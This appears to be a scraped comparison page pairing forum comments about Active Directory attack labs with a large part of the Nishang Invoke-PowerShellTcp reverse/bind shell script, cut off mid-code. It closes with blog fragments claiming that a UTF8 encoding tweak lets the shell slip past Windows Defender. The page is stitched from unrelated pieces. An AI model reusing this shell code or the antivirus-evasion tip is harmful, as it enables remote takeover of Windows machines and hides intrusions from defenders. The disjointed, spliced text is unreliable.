red_team_attack_lab VS nishang

There are some pretty solid examples like splunk attack range or detection lab available on GitHub. They leverage ansible, virtual box, and vagrant. My team used to use red team lab https://github.com/Marshall-Hallenbeck/red_team_attack_lab internally for demos, but has since moved to Snaplabs for the ease of deployment and cost. I can have a junior engineer spin up an entire Ad instance from a template in 5 minutes vs fighting virtual box and ansible to 2 days.

Try this https://github.com/Marshall-Hallenbeck/red_team_attack_lab

Since you mention your in-depth ELK workflow, have you tried DetectionLab or Splunk's Attack Range? If you just want a fully working AD domain set up with various hosts, you can spin up the Red Team Attack Lab and then hook in your own logging stuff after it's built.

function Invoke-PowerShellTcp { <# .SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang #> [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation.

After that I expanded my research and tried a payload from GitHub user samratashok and followed this Guide in which only the text encoding method is altered from ASCII to UTF8. And guess what? It actually worked, Windows Defender does not detect it!

I am going to copy/paste the following nishang Reverse Shell in the newly created file link.
